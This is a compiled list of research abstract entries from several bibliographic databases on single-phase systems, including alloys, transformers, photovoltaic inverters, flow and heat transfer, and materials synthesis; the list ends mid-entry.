Liang-Liang; Wang, Shaoqing 2018-04-01 Systematic energetics analysis on the shape preference, relative stability and radiation-induced segregation of interstitial loops in nickel-containing single-phase concentrated solid-solution alloys have been conducted using atomistic simulations. It is shown that the perfect loops prefer rhombus shape for its low potential energy, while the Frank faulted loops favor ellipse for its low potential energy and the possible large configurational entropy. The decrease of stacking fault energy with increasing compositional complexity provides the energetic driving force for the formation of faulted loops, which, in conjunction with the kinetic factors, explains the experimental observation that the fraction of faulted loops rises with increasing compositional complexity. Notably, the kinetics is primarily responsible for the absence of faulted loops in nickel-cobalt with a very low stacking fault energy. We further demonstrate that the simultaneous nickel enrichment and iron/chromium depletion on interstitial loops can be fully accounted for by their energetics. 16. On Thermodynamics Problems in the Single-Phase-Lagging Heat Conduction Model Directory of Open Access Journals (Sweden) Shu-Nan Li 2016-11-01 Full Text Available Thermodynamics problems for the single-phase-lagging (SPL model have not been much studied. In this paper, the violation of the second law of thermodynamics by the SPL model is studied from two perspectives, which are the negative entropy production rate and breaking equilibrium spontaneously. The methods for the SPL model to avoid the negative entropy production rate are proposed, which are extended irreversible thermodynamics and the thermal relaxation time. Modifying the entropy production rate positive or zero is not enough to avoid the violation of the second law of thermodynamics for the SPL model, because the SPL model could cause breaking equilibrium spontaneously in some special circumstances. As comparison, it is shown that Fourier’s law and the CV model cannot break equilibrium spontaneously by analyzing mathematical energy integral. 17. Single-phase pump model for analysis of LMFBR heat transport systems International Nuclear Information System (INIS) 1978-05-01 A single-phase pump model for transient and steady-state analysis of LMFBR heat transport systems is presented. Fundamental equations of the model are angular momentum balance to determine transient impeller speed and mass balance (including thermal expansion effects) to determine the level of sodium in the pump tank. Pump characteristics are modeled by homologous head and torque relations. All regions of pump operation are represented with reverse rotation allowed. The model also includes option for enthalpy rise calculations and pony motor operation. During steady state, the pump operating speed is determined by matching required head with total load in the circuit. Calculated transient results are presented for pump coastdown and double-ended pipe break accidents. The report examines the influence of frictional torque and specific speed on predicted response for the pump coastdown to natural circulation transient. The results for a double-ended pipe break accident indicate the necessity of including all regions of operation for pump characteristics 18. Single-phase sodium pump model for LMFBR thermal-hydraulic analysis International Nuclear Information System (INIS) Madni, I.K.; Cazzoli, E.G.; Agrawal, A.K. 1979-01-01 A single-phase, homologous pump model has been developed for simulation of safety-related transients in LMFBR systems. Pump characteristics are modeled by homologous head and torque relations encompassing all regimes of operation. These relations were derived from independent model test results with a centrifugal pump of specific speed equal to 35 (SI units) or 1800 (gpm units), and are used to analyze the steady-state and transient behavior of sodium pumps in a number of LMFBR plants. Characteristic coefficients for the polynomials in all operational regimes are provided in a tabular form. The speed and flow dependence of head is included through solutions of the impeller and coolant dynamic equations. Results show the model to yield excellent agreement with experimental data in sodium for the FFTF prototype pump, and with vendor calculations for the CRBR pump. A sample pipe rupture calculation is also performed to demonstrate the necessity for modeling the complete pump characteristics 19. Analytical Determining Of The Steinmetz Equivalent Diagram Elements Of Single-Phase Transformer Directory of Open Access Journals (Sweden) T. Aly Saandy 2015-08-01 Full Text Available This article presents to an analytical calculation methodology of the Steinmetz Equivalent Diagram Elements applied to the prediction of Eddy current loss in a single-phase transformer. Based on the electrical circuit theory the active and reactive powers consumed by the core are expressed analytically in function of the electromagnetic parameters as resistivity permeability and the geometrical dimensions of the core. The proposed modeling approach is established with the duality parallel series. The equivalent diagram elements empirically determined by Steinmetz are analytically expressed using the expressions of the no loaded transformer consumptions. To verify the relevance of the model validations both by simulations with different powers and measurements were carried out to determine the resistance and reactance of the core. The obtained results are in good agreement with the theoretical approach and the practical results. 20. Analytical Modeling Of The Steinmetz Coefficient For Single-Phase Transformer Eddy Current Loss Prediction Directory of Open Access Journals (Sweden) T. Aly Saandy 2015-08-01 Full Text Available Abstract This article presents to an analytical calculation methodology of the Steinmetz coefficient applied to the prediction of Eddy current loss in a single-phase transformer. Based on the electrical circuit theory the active power consumed by the core is expressed analytically in function of the electrical parameters as resistivity and the geometrical dimensions of the core. The proposed modeling approach is established with the duality parallel series. The required coefficient is identified from the empirical Steinmetz data based on the experimented active power expression. To verify the relevance of the model validations both by simulations with two in two different frequencies and measurements were carried out. The obtained results are in good agreement with the theoretical approach and the practical results. 1. Low voltage ride-through of single-phase transformerless photovoltaic inverters DEFF Research Database (Denmark) Yang, Yongheng; Blaabjerg, Frede; Wang, Huai 2013-01-01 Transformerless photovoltaic (PV) inverters are going to be more widely adopted in order to achieve high efficiency, as the penetration level of PV systems is continuously booming. However, problems may arise in highly PV-integrated distribution systems. For example, a sudden stoppage of all PV...... systems due to anti-islanding protection may trigger grid disturbances. Thus, standards featuring with ancillary services for the next generation PV systems are under a revision in some countries. The future PV systems have to provide a full range of services as what the conventional power plants do, e...... discussed. The selected inverters are the full-bridge inverter with bipolar modulation, full-bridge inverter with DC bypass and the Highly Efficient and Reliable Inverter Concept (HERIC). A 1 kW single-phase grid-connected PV system is analyzed to verify the discussions. The tests confirmed that, although... 2. Modelling and Simulation of Single-Phase Series Active Compensator for Power Quality Improvement Science.gov (United States) Verma, Arun Kumar; Mathuria, Kirti; Singh, Bhim; Bhuvaneshwari, G. 2017-10-01 A single-phase active series compensator is proposed in this work to reduce harmonic currents at the ac mains and to regulate the dc link voltage of a diode bridge rectifier (DBR) that acts as the front end converter for a voltage source inverter feeding an ac motor. This ac motor drive is used in any of the domestic, commercial or industrial appliances. Under fluctuating ac mains voltages, the dc link voltage of the DBR depicts wide variations and hence the ac motor is used at reduced rating as compared to its name-plate rating. The active series compensator proposed here provides dual functions of improving the power quality at the ac mains and regulating the dc link voltage thus averting the need for derating of the ac motor. 3. Reactive Power Injection Strategies for Single-Phase Photovoltaic Systems Considering Grid Requirements DEFF Research Database (Denmark) Yang, Yongheng; Wang, Huai; Blaabjerg, Frede 2014-01-01 .g. Germany and Italy. Those advanced features can be provided by next generation PV systems, and will be enhanced in the future to ensure an even efficient and reliable utilization of PV systems. In light of this, Reactive Power Injection (RPI) strategies for single-phase PV systems are explored...... like what the conventional power plants do today in the grid regulation participation. Requirements of ancillary services like Low-Voltage Ride-Through (LVRT) associated with reactive current injection and voltage support through reactive power control, have been in effectiveness in some countries, e...... in this paper. The RPI possibilities are: a) constant average active power control, b) constant active current control, c) constant peak current control and d) thermal optimized control strategy. All those strategies comply with the currently active grid codes, but are with different objectives. The proposed... 4. Reactive Power Injection Strategies for Single-Phase Photovoltaic Systems Considering Grid Requirements DEFF Research Database (Denmark) Yang, Yongheng; Wang, Huai; Blaabjerg, Frede 2014-01-01 . Those advanced features can be provided by next-generation PV systems, and will be enhanced in the future to ensure an even efficient and reliable utilization of PV systems. In the light of this, Reactive Power Injection (RPI) strategies for single-phase PV systems are explored in this paper. The RPI...... like what the conventional power plants do today in the grid regulation participation. Requirements of ancillary services like Low-Voltage Ride-Through (LVRT) associated with reactive current injection and voltage support through reactive power control, have been in effectiveness in some countries...... possibilities are: a) constant average active power control, b) constant active current control, c) constant peak current control and d) thermal optimized control strategy. All those strategies comply with the currently active grid codes, but are with different objectives. The thermal optimized control strategy... 5. Abrasion resistance, microhardness and microstructures of single-phase niobium nitride films International Nuclear Information System (INIS) Singer, I.L.; Bolster, R.N.; Wolf, S.A.; Skelton, E.F.; Jeffries, R.A. 1983-01-01 The relative abrasive wear resistance of single-phase niobium nitride films deposited at 900 and 500 0 C was measured. Wear resistance versus depth profiles of films abraded against 1-5 μm diamond were obtained by weight loss methods. A β phase Nb 2 N film was five to 20 times more abrasion resistant, but only slightly (40%) harder, than the delta phase NbN films made at the same temperature. The β-Nb 2 N film was deformed plastically during wear, reorienting the [002] c axis perpendicular to the plane of the substrate. The abrasion resistance of the delta-NbN films was initially proportional to the microhardness. Two films had changes in their abrasion resistance as wear proceeded: for one film the change was attributable to deviations in stoichiometry and for the other film it was attributable to increased lattice distortion. (Auth.) 6. Influence of modulation method on using LC-traps with single-phase voltage source converters DEFF Research Database (Denmark) Wang, Xiongfei; Min, Huang; Bai, Haofeng 2015-01-01 The switching-frequency LC-trap filter has recently been employed with high-order passive filters for Voltage Source Inverters (VSIs). This paper investigates the influence of modulation method on using the LC-traps with single-phase VSIs. Two-level (bipolar) and three-level (unipolar) modulations...... that include phase distortion and alternative phase opposition distortion methods are analyzed. Harmonic filtering performances of four LC-trap-based filters with different locations of LC-traps are compared. It is shown that the use of parallel-LC-traps in series with filter inductors, either grid...... or converter side, has a worse harmonic filtering performance than using series-LC-trap in the shunt branch. Simulations and experimental results are presented for verifications.... 7. Condition monitoring of shaft of single-phase induction motor using optical sensor Science.gov (United States) Fulzele, Asmita G.; Arajpure, V. G.; Holay, P. P.; Patil, N. M. 2012-05-01 Transmission type of optical technique is developed to sense the condition of rotating shafts from a distance. A parallel laser beam is passed tangential over the surface of rotating shaft of a single phase induction motor and its flickering shadow is received on a photo sensor. Variations in sensor voltage output are observed on a digital storage oscilloscope. It is demonstrated that this signal carries information about shaft defects like miss alignment, play and impacts in bearings along with surface deformities. Mathematical model of signals corresponding to these shaft defects is developed. During the development and testing of the sensor, effects of reflections are investigated, sensing phenomenon is simulated, frequency response of the sensor is obtained and its performance is compared with conventional accelerometer. 8. POD-Galerkin Model for Incompressible Single-Phase Flow in Porous Media KAUST Repository Wang, Yi 2017-01-25 Fast prediction modeling via proper orthogonal decomposition method combined with Galerkin projection is applied to incompressible single-phase fluid flow in porous media. Cases for different configurations of porous media, boundary conditions and problem scales are designed to examine the fidelity and robustness of the model. High precision (relative deviation 1.0 x 10(-4)% similar to 2.3 x 10(-1)%) and large acceleration (speed-up 880 similar to 98454 times) of POD model are found in these cases. Moreover, the computational time of POD model is quite insensitive to the complexity of problems. These results indicate POD model is especially suitable for large-scale complex problems in engineering. 9. Pressure drop characteristics of single-phase flow in vertical rolling pipes International Nuclear Information System (INIS) Cao Xiaxin; Yan Changqi; Sun Licheng; Sun Zhongning 2007-01-01 Experimental studies of single-phase pressure drop in rolling pipes were carried out. The inside diameters of three pipes which were fixed on the rolling platform were 15 mm, 25 mm, and 34.5 mm respectively, the rolling periods of the rolling platform could be set as 5s, 10s, 15s, and rolling angles of the rolling platform were 10 degree and 20 degree. The experimental results showed that the frictional factor periodically fluctuated with the time variable, and its amplitude was obviously affected by the change of Reynolds number and pipe diameters. The amplitude and average value of frictional factor both decreased with the increase of Re number, but the bigger the tube diameter was, the larger the amplitude of frictional factor was. At any moment, the transient frictional factor increased with the increase of rolling period. However, the effect of changing rolling angles on the frictional factor was not obvious. (authors) 10. Green synthesis of isopropyl myristate in novel single phase medium Part I: Batch optimization studies. Science.gov (United States) Vadgama, Rajeshkumar N; Odaneth, Annamma A; Lali, Arvind M 2015-12-01 Isopropyl myristate finds many applications in food, cosmetic and pharmaceutical industries as an emollient, thickening agent, or lubricant. Using a homogeneous reaction phase, non-specific lipase derived from Candida antartica, marketed as Novozym 435, was determined to be most suitable for the enzymatic synthesis of isopropyl myristate. The high molar ratio of alcohol to acid creates novel single phase medium which overcomes mass transfer effects and facilitates downstream processing. The effect of various reaction parameters was optimized to obtain a high yield of isopropyl myristate. Effect of temperature, agitation speed, organic solvent, biocatalyst loading and batch operational stability of the enzyme was systematically studied. The conversion of 87.65% was obtained when the molar ratio of isopropyl alcohol to myristic acid (15:1) was used with 4% (w/w) catalyst loading and agitation speed of 150 rpm at 60 °C. The enzyme has also shown good batch operational stability under optimized conditions. 11. Rotor Design for an Efficient Single-Phase Induction Motor for Refrigerator Compressors Directory of Open Access Journals (Sweden) Hyun-Jin Ahn 2016-03-01 Full Text Available This article describes a rotor making technology for the production of high-efficiency single-phase induction motors (SPIMs to be used in refrigerator compressors. Rotors can have different aluminum fill factors according to the fabrication method. In order to examine the association between the fill factor and the efficiency of the rotor, we analyzed the distribution of magnetic flux density using the finite element method (FEM. Next, we made prototype rotors by conventional casting methods and by the proposed casting method and compared their fill factors. In addition, SPIMs were made using the rotors, and their efficiencies were measured using a dynamometer. Moreover, the SPIMs were put to use in a compressor, for testing, and for each SPIM the refrigerating capacity of the compressor was measured with a calorimeter. Based on the results of the FEM analysis of the magnetic flux density and the experiments, the reliability and validity of the proposed method were proven. 12. Control of single-phase islanded PV/battery minigrids based on power-line signaling DEFF Research Database (Denmark) Quintana, Pablo; Guerrero, Josep M.; Dragicevic, Tomislav 2014-01-01 Power regulation of all converter units in a micro-grid should not be only determined by load demand, but also by the available power of each unit, i.e. a converter fed by a battery. Energy management control is essential in order to handle the variety of prime movers which may include different...... should be utilized as efficiently as possible. This paper proposes a coordinated control strategy based on power-line signaling (PLS), instead of common communications, for a single-phase minigrid in which each unit can operate in different operation modes taking into account the resource limitation....... The whole system is explained ahead and finally, Hardware in the loop results obtained with a dSPACE are presented in order to validate the proposed control strategy.... 13. Reliability assessment of single-phase grid-connected PV microinverters considering mission profile and uncertainties DEFF Research Database (Denmark) 2017-01-01 Microinverters usually connect a PV panel to a Single-phase power grid. In such system, the input power is constant while the output power oscillates twice the line frequency. Thus, the input and output power differences should be stored in a storage component, which is typically an electrolytic...... capacitor. However, electrolytic capacitors are usually blamed for their short lifetime. Recently, some active power decoupling methods are introduced in the literature which can takes advantage of high reliable film capacitors. However, some extra switches and diodes are added to the microinverter which...... can influence the microinverter lifetime. This paper investigates the microinverter reliability according to mission profile where it is installed. To get more accurate results, uncertainties in both lifetime model and manufacturing process are considered. The effect of ambient temperature and solar... 14. Decoupling of fluctuating power in single-phase systems through a symmetrical half-bridge circuit DEFF Research Database (Denmark) Tang, Yi; Blaabjerg, Frede; Loh, Poh Chiang 2014-01-01 Single-phase AC/DC or DC/AC systems inherently subject to harmonic disturbance which is caused by the well-known double line frequency ripple power. This issue can be eased through the installation of bulky electrolytic capacitors in the dc-link, but such passive filtering approach may inevitably...... or film capacitors to store the ripple power, and this again leads to increased component costs. In view of this, this paper presents a symmetrical half-bridge circuit which utilizes the dc-link capacitors to absorb the ripple power, and the only additional components are a pair of switches and a small...... filtering inductor. A design example is presented and the proposed circuit concept is also verified with simulation and experimental results. It shows that at least ten times capacitance reduction can be achieved with the proposed active power decoupling method, which proves its effectiveness.... 15. Pattern formation in single-phase FAC. A stability analysis of an oxide layer Energy Technology Data Exchange (ETDEWEB) Zinemanas, Daniel [The Israel Electric Corp., Haifa (Israel). Dept. of Chemistry; Herszage, Amiel [The Israel Electric Corp., Haifa (Israel). Dept. of Energy Technologies Development 2013-03-15 Pattern formation is a salient characteristic of the flow-accelerated corrosion process, particularly in single-phase flow, where a typical ''orange peel'' surface texture is normally formed. The process of such pattern formation is, however, not well understood. In order to gain some insight into the role of the various processes and parameters involved in this process, a linear stability analysis of an oxide layer based on the Sanchez-Caldera model was performed. According to the results obtained in this study, it follows that the oxide layer is stable regarding perturbations of the oxide thickness or the reaction constant, but it is unstable in respect to perturbations of the mass transfer coefficient. These results suggest therefore that the flow, and not local surface in homogeneities, plays a central role in the pattern formation process. (orig.) 16. Adaptive fuzzy sliding control of single-phase PV grid-connected inverter. Directory of Open Access Journals (Sweden) Juntao Fei Full Text Available In this paper, an adaptive fuzzy sliding mode controller is proposed to control a two-stage single-phase photovoltaic (PV grid-connected inverter. Two key technologies are discussed in the presented PV system. An incremental conductance method with adaptive step is adopted to track the maximum power point (MPP by controlling the duty cycle of the controllable power switch of the boost DC-DC converter. An adaptive fuzzy sliding mode controller with an integral sliding surface is developed for the grid-connected inverter where a fuzzy system is used to approach the upper bound of the system nonlinearities. The proposed strategy has strong robustness for the sliding mode control can be designed independently and disturbances can be adaptively compensated. Simulation results of a PV grid-connected system verify the effectiveness of the proposed method, demonstrating the satisfactory robustness and performance. 17. Rapid synthesis of single-phase bismuth ferrite by microwave-assisted hydrothermal method International Nuclear Information System (INIS) Cao, Wenqian; Chen, Zhi; Gao, Tong; Zhou, Dantong; Leng, Xiaonan; Niu, Feng; Zhu, Yuxiang; Qin, Laishun; Wang, Jiangying; Huang, Yuexiang 2016-01-01 This paper describes on the fast synthesis of bismuth ferrite by the simple microwave-assisted hydrothermal method. The phase transformation and the preferred growth facets during the synthetic process have been investigated by X-ray diffraction. Bismuth ferrite can be quickly prepared by microwave hydrothermal method by simply controlling the reaction time, which is further confirmed by Fourier Transform infrared spectroscopy and magnetic measurement. - Graphical abstract: Single-phase BiFeO 3 could be realized at a shortest reaction time of 65 min. The reaction time has strong influences on the phase transformation and the preferred growth facets. - Highlights: • Rapid synthesis (65 min) of BiFeO 3 by microwave-assisted hydrothermal method. • Reaction time has influence on the purity and preferred growth facets. • FTIR and magnetic measurement further confirm the pure phase. 18. S4 Grid-Connected Single-Phase Transformerless Inverter for PV Application DEFF Research Database (Denmark) Ardashir, Jaber Fallah; Siwakoti, Yam Prasad; Sabahi, Mehran 2016-01-01 This paper introduces a new single-phase transformerless inverter for grid-connected photovoltaic systems with low leakage current. It consists of four power switches, two diodes, two capacitors and a filter at the output stage. The neutral of the grid is directly connected to the negative terminal...... of the PV source. This results in a constant common-mode voltage and almost zero leakage current. A unipolar Sinusoidal Pulse-Width Modulation (SPWM) technique is used to modulate the inverter to reduce the output current ripple and the filter requirements. The main advantages of this inverter are compact...... clearly verify the performance of the proposed inverter and its practical application for grid-connected PV systems.... 19. Modelling of the modified-LLCL-filter-based single-phase grid-tied Aalborg inverter DEFF Research Database (Denmark) Liu, Zifa; Wu, Huiyun; Liu, Yuan 2017-01-01 Owing to less conduction and switching power losses, the recently proposed Aalborg inverter has high efficiency within a wide range of input DC voltage for single-phase DC/AC power conversion. In theory, the conduction power losses can be further decreased, if an LLCL-filter is adopted instead....... In this study, the small signal analysis for the modified-LLCL-filter-based Aalborg inverter is addressed. Through the modelling, it can be proven that compared with the LCL-filter, the modified-LLCL-filter causes no extra control challenge for the Aalborg inverter, and therefore more inductance in the power...... of an LCL-filter for a voltage source inverter, mainly due to the reduced inductance. The Aalborg inverter shows the characteristic of a current source inverter, when working in the `boost' state. Whether the LLCL-filter can meet the control requirement of this type inverter needs to be further explored... 20. Compact ASD Topologies for Single-Phase Integrated Motor Drives with Sinusoidal Input Current DEFF Research Database (Denmark) Klumpner, Christian; Blaabjerg, Frede; Thoegersen, Paul 2005-01-01 A standard configuration of an Adjustable Speed Drive (ASD) consists of two separate units: an AC motor, which runs with fixed speed when it is supplied from a constant frequency grid voltage and a frequency converter, which is used to provide the motor with variable voltage-variable frequency......-density integration of the converter caused by the large size of the passive components (electrolytic capacitors and iron chokes) and vibration of the converter enclosure. This paper analyzes the implementation aspects for obtaining a compact and cost effective single-phase ASD with sinusoidal input current...... for high frequency operation, higher core losses will occur, but outside the converter enclosure. The advantages are: the reduction of the number of active semiconductor devices, the reduction of the ASD size and the better integration potential.... 1. A Rotor Flux and Speed Observer for Sensorless Single-Phase Induction Motor Applications Directory of Open Access Journals (Sweden) Massimo Caruso 2012-01-01 Full Text Available It is usual to find single-phase induction motor (SPIM in several house, office, shopping, farm, and industry applications, which are become each time more sophisticated and requiring the development of efficient alternatives to improve the operational performance of this machine. Although the rotor flux and rotational speed are essential variables in order to optimize the operation of a SPIM, the use of conventional sensors to measure them is not a viable option. Thus, the adoption of sensorless strategies is the more reasonable proposal for these cases. This paper presents a rotor flux and rotational speed observer for sensorless applications involving SPIMs. Computer simulations and the experimental results are used to verify the performance of the proposed observer. 2. Factors that affect the calibration of turbines in single-phase flow Energy Technology Data Exchange (ETDEWEB) Piper, T. C. 1977-05-01 Basic turbine operation in single-phase flow is related. Causes and relative magnitudes of retarding torque are given for two sizes of turbines when used for water flow measurement. An equation for slip caused by retarding torques is given. Evaluation of turbine slip behavior at the turbine low flow region shows that bearing retarding torques, change in flow patterns, or other effects can predominate in the relatively large changes in the calibration ''constant'' that occurs there. Fluid lubricity is singled out as an important fluid property in certain types of bearings and flow. Temperature induced changes in turbine size are shown to cause calibration changes if a turbine is used at a temperature significantly different than that at which it was calibrated. 3. Factors that affect the calibration of turbines in single-phase flow International Nuclear Information System (INIS) Piper, T.C. 1977-05-01 Basic turbine operation in single-phase flow is related. Causes and relative magnitudes of retarding torque are given for two sizes of turbines when used for water flow measurement. An equation for slip caused by retarding torques is given. Evaluation of turbine slip behavior at the turbine low flow region shows that bearing retarding torques, change in flow patterns, or other effects can predominate in the relatively large changes in the calibration ''constant'' that occurs there. Fluid lubricity is singled out as an important fluid property in certain types of bearings and flow. Temperature induced changes in turbine size are shown to cause calibration changes if a turbine is used at a temperature significantly different than that at which it was calibrated 4. Single-phase pressure-drop measurements over low void reactivity fuel International Nuclear Information System (INIS) Senaratne, U.P.M.; Leung, L.K.H.; Doria, F.J.; Lau, J.H. 2006-01-01 An experiment has been performed to obtain pressure-drop measurements over Low Reactivity Fuel (LVRF) bundles in Refrigerant-134a flow. Production LVRF bundles inserted into the test station with either an uncrept or a 5.1% crept flow channel. For comparison purposes, several production Bruce 37-element bundles were also included in the test string. Overall, the single-phase pressure drop of the LVRF bundle is slightly higher than that Bruce 37-element bundle. Pressure-drop measurements were used to derive bundle and loss coefficients for hydraulic calculations in safety analyses. Applying these loss coefficients, an assessment showed that the overall pressure drop over a string of 12 LVRF bundles (after conversion) remains less than that over a string of 13 Bruce 37-element fuel bundles (before conversion) at the Bruce Nuclear Generating Station. (author) 5. Calculation of single phase AC and monopolar DC hybrid corona effects International Nuclear Information System (INIS) Zhao, T.; Sebo, S.A.; Kasten, D.G. 1996-01-01 Operating a hybrid HVac and HVdc line is an option for increasing the efficiency of power transmission and overcoming the difficulties in obtaining a new right-of-way. This paper proposes a new calculation method for the study of hybrid line corona. The proposed method can be used to calculate dc corona losses and corona currents in dc or ac conductors for single phase ac and monopolar dc hybrid lines. Profiles of electric field strength and ion current density at ground level can be estimated. The effects of the presence of an energized ac conductor on dc conductor corona and dc voltage on ac conductor corona are included in the method. Full-scale and reduced-scale experiments were utilized to investigate the hybrid line corona effects. Verification of the proposed calculation method is given 6. Comparative study of Nusselt number for a single phase fluid flow using plate heat exchanger Directory of Open Access Journals (Sweden) Shanmugam Rajasekaran 2016-01-01 Full Text Available In this study, the plate heat exchangers are used for various applications in the industries for heat exchange process such as heating, cooling and condensation. The performance of plate heat exchanger depends on many factors such as flow arrangements, plate design, chevron angle, enlargement factor, type of fluid used, etc. The various Nusselt number correlations are developed by considering that the water as a working fluid. The main objective of the present work is to design the experimental set-up for a single phase fluid flow using plate heat exchanger and studied the heat transfer performance. The experiments are carried out for various Reynolds number between 500 and 2200, the heat transfer coefficients are estimated. Based on the experimental results the new correlation is developed for Nusselt number and compared with an existing correlation. 7. Scaling analysis for the ocean motions in single phase natural circulation International Nuclear Information System (INIS) Yan, B.H.; Wen, Q.L. 2015-01-01 Highlights: • The scaling criteria for ocean motions are obtained. • The optimization and selection of the scaling criteria is also analyzed. • The oscillating period in experiments is determined by the time scale. - Abstract: The effects of ocean motions should be analyzed properly in order to guarantee the safety margin of facilities in the engineering design of floating nuclear reactor system. The scaling analysis for the ocean motions in single phase natural circulation is performed. The scaling criteria for both single ocean motions and compound ocean motions are obtained. The selection and optimization of scaling criteria is also analyzed. The oscillating amplitude in experiments should be kept to be identical to that in actual ocean motions. The oscillating period is determined by the time scale. The length scale, oscillating period and experimental power should be taken into consideration synthetically to obtain a reasonable experimental period 8. Harmonics Suppression for Single-Phase Grid-Connected Photovoltaic Systems in Different Operation Modes DEFF Research Database (Denmark) Yang, Yongheng; Zhou, Keliang; Blaabjerg, Frede 2013-01-01 -connected PV inverters may be severely affected in different operation modes. In this paper, a detailed analysis is conducted to reveal the relationship between the harmonics level with the power factor and the current level in the PV systems. A current control solution which employs an Internal Model...... Principle (IMP) is proposed to suppress the harmonic currents injected into the grid. Experiments are carried out to verify the analysis and the performance of the proposed control method. It is demonstrated that the proposed method presents an effective solution to harmonics suppression for single......-phase grid-connected PV systems in different operation modes. Especially, it can remove higher order harmonics effectively leading to a better power quality compared to the Proportional plus Multi-Resonant Controller, and it has less computational burden.... 9. Time domain spectral phase encoding/DPSK data modulation using single phase modulator for OCDMA application. Science.gov (United States) 2010-05-10 A novel scheme using single phase modulator for simultaneous time domain spectral phase encoding (SPE) signal generation and DPSK data modulation is proposed and experimentally demonstrated. Array- Waveguide-Grating and Variable-Bandwidth-Spectrum-Shaper based devices can be used for decoding the signal directly in spectral domain. The effects of fiber dispersion, light pulse width and timing error on the coding performance have been investigated by simulation and verified in experiment. In the experiment, SPE signal with 8-chip, 20GHz/chip optical code patterns has been generated and modulated with 2.5 Gbps DPSK data using single modulator. Transmission of the 2.5 Gbps data over 34km fiber with BEROCDMA) and secure optical communication applications. (c) 2010 Optical Society of America. 10. Simulation of the remanence influence on the transient states in a single-phase multiwinding transformer Directory of Open Access Journals (Sweden) Wilk Andrzej 2017-03-01 Full Text Available This paper presents the mathematical model of a single-phase multi-winding core type transformer taking into account magnetic hysteresis phenomenon based on the feedback Preisach model (FPM. The set of loop differential equations was developed for a K-th winding transformer model where the flux linkages of each winding includes flux Φ common to all windings as a function of magneto motive force Θ of all windings. The first purpose of this paper is to implement a hysteresis nonlinearity involved in the Φ(Θ function which also accounts residual magnetic flux. The second purpose of this paper is experimental validation of the developed transformer model in a capacitor discharge test and several different values of residual magnetic flux. 11. Adaptive fuzzy sliding control of single-phase PV grid-connected inverter. Science.gov (United States) Fei, Juntao; Zhu, Yunkai 2017-01-01 In this paper, an adaptive fuzzy sliding mode controller is proposed to control a two-stage single-phase photovoltaic (PV) grid-connected inverter. Two key technologies are discussed in the presented PV system. An incremental conductance method with adaptive step is adopted to track the maximum power point (MPP) by controlling the duty cycle of the controllable power switch of the boost DC-DC converter. An adaptive fuzzy sliding mode controller with an integral sliding surface is developed for the grid-connected inverter where a fuzzy system is used to approach the upper bound of the system nonlinearities. The proposed strategy has strong robustness for the sliding mode control can be designed independently and disturbances can be adaptively compensated. Simulation results of a PV grid-connected system verify the effectiveness of the proposed method, demonstrating the satisfactory robustness and performance. 12. Effects of rolling on single-phase water forced convective heat transfer characteristics International Nuclear Information System (INIS) Guo Yanming; Gao Puzhen; Huang Zhen 2010-01-01 A series of single-phase forced circulation tests in a vertical tube with rolling motion were performed in order to investigate effects of rolling motion on thermal-hydraulic characteristics. The amplitudes of the rolling motion in the tests were 10 degree, 15 degree and 20 degree. The rolling periods were 7.5 s, 10 s, 15 s and 20 s. The Reynolds number was from 6000 to 15000. Heat transfer in the test tube is bated by the rolling motion. As the test-bed rolling more acutely, the heat transfer coefficient of the test tube becomes smaller when the mass flow rate in the test tube is a constant. The heat transfer coefficient calculated by the formula which is for stable state doesn't fit very well with that from experiments. At last a formula for calculating heat transfer in rolling motion was introduced. (authors) 13. A Robust DC-Split-Capacitor Power Decoupling Scheme for Single-Phase Converter DEFF Research Database (Denmark) Yao, Wenli; Loh, Poh Chiang; Tang, Yi 2017-01-01 , instead of the usual single dc-link capacitor bank. Methods for regulating this power decoupler have earlier been developed, but almost always with equal capacitances assumed for forming the dc-split capacitor, even though it is not realistic in practice. The assumption should, hence, be evaluated more......Instead of bulky electrolytic capacitors, active power decoupling circuit can be introduced to a single-phase converter for diverting second harmonic ripple away from its dc source or load. One possible circuit consists of a half-bridge and two capacitors in series for forming a dc-split capacitor...... thoroughly, especially when it is shown in the paper that even a slight mismatch can render the power decoupling scheme ineffective and the IEEE 1547 standard to be breached. A more robust compensation scheme is, thus, needed for the dc-split capacitor circuit, as proposed and tested experimentally... 14. Zero-voltage ride-through capability of single-phase grid-connected photovoltaic systems DEFF Research Database (Denmark) Zhang, Zhen; Yang, Yongheng; Ma, Ruiqing 2017-01-01 Distributed renewable energy systems play an increasing role in today’s energy paradigm. Thus, intensive research activities have been centered on improving the performance of renewable energy systems, including photovoltaic (PV) systems, which should be of multiple-functionality. That is, the PV...... systems should be more intelligent in the consideration of grid stability, reliability, and fault protection. Therefore, in this paper, the performance of single-phase grid-connected PV systems under an extreme grid fault (i.e., when the grid voltage dips to zero) is explored. It has been revealed...... that combining a fast and accurate synchronization mechanism with appropriate control strategies for the zero-voltage ride-through (ZVRT) operation is mandatory. Accordingly, the representative synchronization techniques (i.e., the phase-locked loop (PLL) methods) in the ZVRT operation are compared in terms... 15. A unified active damping control for single-phase differential buck inverter with LCL-filter DEFF Research Database (Denmark) Yao, Wenli; Wang, Xiongfei; Zhang, Xiaobin 2015-01-01 and control of a grid-connected differential mode buck inverter with an LCL filter. A generalized small-signal model of the inverter is built first with the averaged switching model. It is shown that the LCL filter resonance merely occurs in the differential mode, while an LC filter resonance exists......The single-phase differential mode buck inverter is recently introduced with a differential mode for power transfer and a common mode for actively decoupling the second-order power oscillation. However, it is limited to islanded applications with an LC filter. This paper addresses the stability...... in the common mode, provided that the filter parameters of the two bridges are kept the same. A unified active damping control approach is then proposed for stabilizing the inverter and improving the transient performance under a wide range of grid impedance. Lastly, experimental tests are carried out... 16. Single-phase dual-energy CT urography in the evaluation of haematuria. Science.gov (United States) Ascenti, G; Mileto, A; Gaeta, M; Blandino, A; Mazziotti, S; Scribano, E 2013-02-01 To assess the value of a single-phase dual-energy computed tomography (DECT) urography protocol with synchronous nephrographic-excretory phase enhancement and to calculate the potential dose reduction by omitting the unenhanced scan. Eighty-four patients referred for haematuria underwent CT urography using a protocol that included single-energy unenhanced and dual-energy contrast-enhanced with synchronous nephrographic-excretory phase scans. DECT-based images [virtual unenhanced (VUE), weighted average, and colour-coded iodine overlay] were reconstructed. Opacification degree by contrast media of the upper urinary tract, and image quality of virtual unenhanced images were independently evaluated using a four-point scale. The diagnostic accuracy in detecting urothelial tumours on DECT-based images was determined. The dose of a theoretical dual-phase single-energy protocol was obtained by multiplying the effective dose of the unenhanced single-energy acquisition by two. Radiation dose saving by omitting the unenhanced scan was calculated. The degree of opacification was scored as optimal or good in 86.9% of cases (k = 0.72); VUE image quality was excellent or good in 83.3% of cases (k = 0.82). Sensitivity, specificity, positive predictive value, and negative predictive value for urothelial tumours detection were 85.7, 98.6, 92.3, and 97.1%. Omission of 